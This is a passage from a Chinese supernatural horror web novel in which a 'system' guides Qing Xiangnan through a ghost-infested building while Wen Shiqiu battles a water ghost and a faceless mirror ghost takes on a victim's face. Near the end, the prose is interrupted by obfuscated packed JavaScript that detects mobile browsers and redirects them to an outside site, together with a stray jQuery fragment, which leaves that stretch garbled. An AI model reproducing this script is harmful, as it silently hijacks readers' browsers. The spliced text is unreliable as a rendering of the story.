他红着眼睛,声音略微发抖地说,“其他人什么都没有,我们不快点去的话可能就真的全部死掉了,闻时秋应该能坚持一段时间的。” 系统赞许道。 【毕竟男主是不会死的,而且这个时候正好给男主一点磨炼促使他加油。】 但顾铭凌和冯义倒不这么想。 因为卿向南声音颤抖,眼睑发红,像是马上就难过的要哭的样子。 可即使这样,他也还是愿意先去救别人,而不是催促着去救他“老公”。 顾铭凌不由得声音放柔,“我们会尽快去支援他的。” 只是卿向南之所以眼红发抖,完全是因为这些血丝太恐怖,他甚至还要自己踩在这些东西上面走路。 此刻只希望自己的鞋底能有两指厚,鞋底黏腻可怕的感觉像是走在被剥了皮的尸体上一样让人膝盖发软。 【可不要双腿一软就跪下去哦宿主,现在只是踩着走,等下跪下去,就是皮肤接触了。】 系统淡淡道。 【宿主,你也不想摔进黏黏的血网里吧?】 卿向南泪流满面地嗯了一声。 · 地面上的苔藓绿到发黑,像是黏稠的沥青般爬行着铺开,菌丝如同活蛇,沿着墙壁攀爬而上,整栋大楼都被阵法束缚,只见金色符文在墙面上若隐若现,却很快被迅速扩散的菌丝完全覆盖。 “你知道这几天,他都怎么和我相处的吗?” 水鬼看着闻时秋咧嘴一笑,整张脸变形扭曲,像是一张笑脸从嘴巴撕裂分成两半,带着恐怖杀气的血水从他口中喷涌而出,它的身体像是一张皮般翻折脱落,滔天巨浪仿佛要把整个房间淹没,血河中浮起无数惊恐绝望的人脸。 扑—— 闻时秋指尖燃起一簇金色火苗,苔藓忽然疯狂地扩散生长,那些墨绿色的苔藓越来越黑,直到透出红色,血河化作巨蟒,朝着闻时秋劈头盖脸地砸下。 金焰沿着闻时秋的指尖瞬间覆盖全身,闻时秋指尖划动,一柄古剑刹时出现,剑锋直指水鬼,不灭明火划破水面,令近处的血浪沸腾。 闻时秋睁开眼,眸底有鎏金色辉光闪耀,他缓缓启唇。 20. 小卿开不开心? “我只知道杀了你以后,你就不会再出现在小卿面前。” 闻时秋冷冷一笑,将古剑猛地朝着地面一击,铿锵一声,地板碎裂,剑身稳稳插了进去。 瞬间地面燃起一圈金色火焰,以闻时秋为圆心,半径一米的范围内出现了一个血水无法进入的半球。 地面上的苔藓与菌丝也仿佛被点燃般发出尖厉的叫声化为灰烬。 水鬼大怒,“你这贱人!今天只会是你死在这里,他会永远留在我的鬼蜮!” 闻时秋的声音低沉下去,一字一句都透着寒意,“你算什么东西,也敢说要他和你永远待在一起?” · 因为地面上的菌丝越来越多,到最后整个楼层都几乎变成了一个巨大阴森的巢穴,水滴沿着交缠的菌丝滴落,他已经无法避免地被水滴碰到,虽然暂时没有察觉出什么异常,可现在的情况已经越来越不容许他维持表面的镇定,卿向南一边掉眼泪,一边跟在顾铭凌和冯义身后走。 顾铭凌忍不住问他,“你要继续跟我们往下走,还是暂时留在这里?” 因为卿向南腕骨上的铃铛手链,他无法像其他普通人一样被收入鬼画中,因此摆在他面前的似乎只有两条路,要么跟着顾铭凌和冯义继续往下走,但下面肯定更难走,也更可怕,要么和顾铭凌还有冯义暂时分开,但可以不去到更危险恐怖的下面。 卿向南两个都不想选,但比起分开还不如就跟着顾铭凌和冯义往下走,要是自己一个人行动,说不定就会遇上什么危险然后迅速地领便当死掉。 于是又继续往下,深一脚浅一脚地走着,不知道下了多少层楼,只觉得越往下湿气越重,甚至时不时就能看见惨白的手臂从菌丝下露出来,被水泡的发胀,像是死了很多天。 顾铭凌不得不点燃符纸扔向地面清理,菌丝一碰到火焰就发出刺耳的叫声,骇得人心里一颤,眼睁睁看着火焰烧出可以落脚的地方,但残余的菌丝却像是活物一样再度生长,整个房间内部如同一团拥挤的血肉巢穴,卿向南已经吓得脸色发白,脚下忽然踩到了什么棍子样的东西,卿向南差点儿摔倒,下意识地拽住了离他近些的顾铭凌,倒也没有尖叫,只是指尖发颤,安慰自己,“没关系的,我适应能力很强的,等下我就会习惯了。” 顾铭凌继续开路,忽然卿向南眼前有什么亮了一下,他下意识看过去,竟然发现被烧掉菌丝的地方有一面镜子,镜子其他部位正被菌丝再次覆盖,但最中心仍然可以照出他的样子,以及半边顾铭凌的身子。 借着燃起的火光,镜子里的倒影还是吓了卿向南一跳。 顾铭凌察觉到卿向南抓紧了自己的手臂,于是安慰道:“只是镜子罢了,别害怕。” 他正说着,忽然一惊,只觉得卿向南突然死死抓住了他,不得不回头,问卿向南发生了什么。 这一回头,便看见卿向南眼睫颤抖,吓得又掉眼泪,只抽噎道,“镜子里面有一张脸。” 他说得不错,镜子里面确实有一张脸,而且是只有那一张脸。 之所以说是脸,是因为它像是面具一样,有鼻子和嘴唇以及眉骨的形状,但之所以只是一张脸,则是因为它没有五官,像一张面具般悬浮在空中。 甚至朝着三个人,或者准确地说,是卿向南这边走了过来。 用走是完全准确的,因为它的移动方式不是飘动,而是像一个人一样地缓缓走来,卿向南甚至感觉到一股阴冷的风正持续不断地,从背后袭来。 毫无疑问,他们撞鬼了。 · 各种鬼怪故事或者僵尸片中有过很多关于如何对付鬼怪僵尸的说法,但它们并不全都适用于鬼蜮。 身负厉鬼的天师可以用血液维持阵法束缚甚至杀死鬼,但普通天师的符咒阵法却对鬼没有任何用处,从鬼蜮中得到的东西也可以用来对付厉鬼,与鬼融合的人也能对付厉鬼,而很多时候,鬼和鬼之间也会互相狩猎甚至合作。 因此会有人把进入鬼蜮称为下副本,把杀死鬼蜮中的鬼叫作通关,把鬼蜮中的道具叫作奖励。 大部分情况下,想要通关鬼蜮,就需要根据鬼的特性去找到对付鬼的规则,或者避开被鬼杀死的死亡陷阱,以至于有的时候,鬼蜮中的人甚至不得不配合鬼玩角色扮演,然后从中寻找渺茫的存活机会。 如今闻时秋使用的古剑,也正是之前通关的炎鬼鬼蜮的奖励。 火自然克水,但足够的水,完全能够把火浇灭,更不要说现在满房间的血水。 闻时秋此刻的处境,任何人看了只会觉得不妙,想不出他还有什么翻盘的可能。 水鬼也是这样想的,他很谨慎,确保着与闻时秋交战的这层楼完全被血水和菌丝覆盖,浓郁的鬼气压得整片房间昏暗阴郁,只有血水深处同样森冷的金色火焰发出一点儿光来。 他暂时压不进去,但没关系,只要就这样困住闻时秋,闻时秋很快就会因为缺氧而死,又或者体力无法维持鬼炎燃烧而被耗死。 他确认过,闻时秋没有融合任何一只鬼,虽然他很惊讶这样的普通人也能得到鬼蜮中的武器,但只要对方身上没有鬼,那么只凭借这把古剑,对方无法奈何他。 他所需要做的只是等待而已。 · 卿向南很想逃跑,甚至已经努力抬腿想走开,却发现只要他一动,那鬼脸靠近的速度就会变快,他如果维持不动,鬼脸就还是慢悠悠地接近。 于是他不得不认命,“你们先走吧,它好像是冲着我来的。” 十数张符纸被顾铭凌展开,他手中墨线飞出,却无法奈何那张鬼脸,顶多只是减缓了对方前行的速度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985803|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这么点距离,哪怕再怎么减缓,鬼脸也很快“走”到了卿向南身后。 顾铭凌完全可以确认,这张鬼脸是冲着卿向南来的,水鬼的异常,也跟卿向南有关。 因为镜子里已经出现了一道鬼影,比卿向南高些,那张脸慢慢形变,长出眼睛、嘴唇、鼻子、眉毛…… 它好像很喜欢卿向南的脸,五官不由得有几分像卿向南,只是皮肤惨白,透着不祥的青紫色。 但卿向南身后却什么也没有,只有阴森的湿气顺着脊背往上爬。 顾铭凌和冯义对视一眼,直接砸碎了镜子,镜子支离破碎,分割成无数锐角,一瞬间,每一片残损的镜面上都出现了鬼的样子。 它们一点点改变,先是变出卿向南见过的年轻人的样子,然后又是变出超市老板的脸来,但大抵这些它都不满意,于是最后,竟然缓缓扭曲出烙成的脸来。 这张脸贴过来,压在卿向南颈侧,近乎亲昵地喊了一声,“小卿。” 话音刚落,这张脸变成了池练诗的样子。 不同于正常自然界低温的,令人毛骨悚然的吐息,就这么抚过卿向南的颈侧。 卿向南动也不能动,只觉得扑面而来血腥恐怖的浪涛,在一片黑暗中,却还是清晰地看见了那一张张镜子里倒映的脸。 他有点儿迟钝的意识到,池练诗大概也已经死了。 烙成也已经死了。 在超市里的时候,超市老板的脸被剥下来,是背后那张鬼脸做的。 对方喊他小卿的时候,模仿的还是闻时秋的声音。 让他浑身发麻,像是被定住一般,不得不看着自己被对方抱住。 那冰冷如铁的手指沿着他的肩膀往下,顺着后背,然后是腰,扶着他一样地捏住。 卿向南不知道它要干什么,而它的外表虽然模仿了池练诗,眼瞳却黑得可怕,沉沉地透不出一丝光来。 “小卿,我找你很久了。” 亲昵的姿势,仿佛恋人一般,用手抓住卿向南的手腕,将卿向南的手背抬起,贴在自己唇边蹭了蹭。 他口中发出模糊地呢喃,极为愉悦般轻笑着。 卿向南指尖发颤,想要把手抽开,可却被它指尖插入,十指相扣着握住。 “真好啊,”它做出愉快的表情,却因为毫无情绪的双眼而显得怪异,语声里带着一丝鬼魅般的阴森,“我已经开始期待未来的生活了。” 卿向南忽然眼前发黑,浑身使不上劲,他努力睁开眼睛,想要让自己保持清醒。 可视野中无数镜面上的鬼脸却越来越模糊,他竟然从鬼的脸上看到一抹近乎妖异的笑。 “谁都可以叫老公的话,为什么我不可以呢?” 卿向南的耳垂被近乎狎昵地碰了碰,“要有新老公了,小卿开不开心?”